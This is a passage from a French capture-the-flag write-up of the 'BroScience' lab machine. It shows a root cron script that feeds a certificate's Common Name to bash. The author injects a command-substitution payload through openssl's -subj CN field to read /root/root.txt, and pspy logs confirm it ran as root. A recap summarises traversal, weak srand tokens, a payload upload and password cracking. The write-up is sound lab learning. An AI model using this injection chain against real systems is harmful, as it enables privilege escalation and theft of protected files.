    organization=$(echo $subject | grep -Eo 'O = .*,')
    organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
    commonName=$(echo $subject | grep -Eo 'CN = .*,?')
    emailAddress=$(openssl x509 -in $ -noout -email)

    country=${country:4}
    state=$(echo ${state:5} | awk -F, '{print $1}')
    locality=$(echo ${locality:3} | awk -F, '{print $1}')
    organization=$(echo ${organization:4} | awk -F, '{print $1}')
    organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
    commonName=$(echo ${commonName:5} | awk -F, '{print $1}')

    echo $subject;
    echo "";
    echo "Country     => $country";
    echo "State       => $state";
    echo "Locality    => $locality";
    echo "Org Name    => $organization";
    echo "Org Unit    => $organizationUnit";
    echo "Common Name => $commonName";
    echo "Email       => $emailAddress";

    echo -e "\nGenerating certificate...";
    openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
    $state
    $locality
    $organization
    $organizationUnit
    $commonName
    $emailAddress
    " 2>/dev/null

    /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
    echo "File doesn't exist"
    exit 1;

On en déduit nos contraintes :

  • Le fichier doit s’appeler broscience.crt

  • On doit abuser d”openssl pour avoir notre shell root.

  • Le seul endroit où l’on pourrait lancer une commande arbitraire, c’est à la fin avec le /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"

N.B: J’ai encore du regarder un write-up pour comprendre ce qu’il fallait faire exactement. Toutefois, ce dernier faisait un chmod u+s /bin/bash ; que je ne trouve absolument pas sexy (et encore moins cool pour les gens sur la machine). Donc je l’ai remanié à ma façon. On va donc se générer un certificat avec comme valeur à $commonName une payload.

bill@broscience:~$ openssl req -x509 -sha256 -nodes -newkey rsa:1024 -days 1 -keyout ./Certs/bro -out ./Certs/broscience.crt -subj '/CN=$(cat \/root\/root.txt \> \/home\/bill\/Certs\/root.txt)/emailAddress=e/OU=LUCLIS/O=LUCLIS/L=yes/ST=FRANCE/C=FR'
2023/03/17 06:46:01 CMD: UID=0     PID=2928   | /bin/bash -c mv /tmp/temp.crt /home/bill/Certs/"$(cat /root/root.txt > /home/bill/Certs/root.txt)".crt
2023/03/17 06:46:01 CMD: UID=0     PID=2929   | cat /root/root.txt
2023/03/17 06:46:01 CMD: UID=0     PID=2930   | /usr/bin/rm -r /home/bill/Certs/bro /home/bill/Certs/broscience.crt /home/bill/Certs/root.txt
2023/03/17 06:46:01 CMD: UID=0     PID=2931   | /usr/bin/rm -r /home/bill/Certs/. /home/bill/Certs/.. /home/bill/Certs/.crt =

Ok donc ça a bien marché le cron embarque un cleanup du dossier ~/Certs/. Il va falloir écrire le fichier dans un endroit où l’umask est favorable à bill mais que le script ne vas pas supprimer. J’aurai pu créer un dossier dans le ~ de bill, mais j’ai fait plus simple.

bill@broscience:~$ openssl req -x509 -sha256 -nodes -newkey rsa:1024 -days 1 -keyout ./Certs/bro -out ./Certs/broscience.crt -subj '/CN=$(cat \/root\/root.txt \> \/home\/bill\/root.txt)/emailAddress=e/OU=LUCLIS/O=LUCLIS/L=yes/ST=FRANCE/C=FR'
2023/03/17 06:48:02 CMD: UID=0     PID=2984   | /bin/bash -c mv /tmp/temp.crt /home/bill/Certs/"$(cat /root/root.txt > /home/bill/root.txt)".crt
2023/03/17 06:48:02 CMD: UID=0     PID=2985   | /bin/bash -c mv /tmp/temp.crt /home/bill/Certs/"$(cat /root/root.txt > /home/bill/root.txt)".crt
2023/03/17 06:48:02 CMD: UID=0     PID=2987   | /usr/bin/rm -r /home/bill/Certs/. /home/bill/Certs/.. /home/bill/Certs/.crt
bill@broscience:~$ ls -lA root.txt
-rw-r--r-- 1 root root 33 Mar 17 06:40 root.txt
bill@broscience:~$ cat root.txt
0510c3be04b0388b51098a9926bf899d

On oublie pas de supprimer son petit fichier root.txt pour les coupains. Et la machine est validée.

Récapitulatif

Ok donc je n’aurai jamais réussi à la faire seule cette machine. Toutefois, j’ai appris pas mal de chose plutôt cool.
Pour reprendre, on arrive sur un site web ; ce dernier propose pas mal de php différents dont un pour récupérer des images sur lequel on peut faire du directory traversal avec double encoding. Quand on a récupéré l’ensemble des fichiers php, on comprends que pour activer son compte, il faut abuser de la fonction srand de php qui est initialisée par rapport à l’heure (pas bien). Donc il faut envoyer sa demande de création de compte & noter l’heure en même temps. Ensuite, une fois connecté, on doit abuser d’une fonction encore en développement qui va télécharger une payload et la stocker sur le site. Une fois cette charge présente, on a notre accès initiale en www-data. Il faut donc récupérer les mots de passes présent dans la base de donnée PostgreSQL, tenter de les casser avec hashcat et rockyou pour les réutiliser pour se connecter avec bill. (woaw.)
Une fois là, on va regarder les processus à l’aide de pspy64, décrouvrir un cron et abuser d’une partie du code pour se donner des privilèges root (ou à minima comme moi, récupérer les infos qui nous intéressent).

A retenir

  • Rajouter une partie cassage de mot de passe + password spraying à mes scénarios classiques

  • se souvenir que dès que l’on écrit un fichier, ça veut dire que l’on peut envoyer une charge quelque part.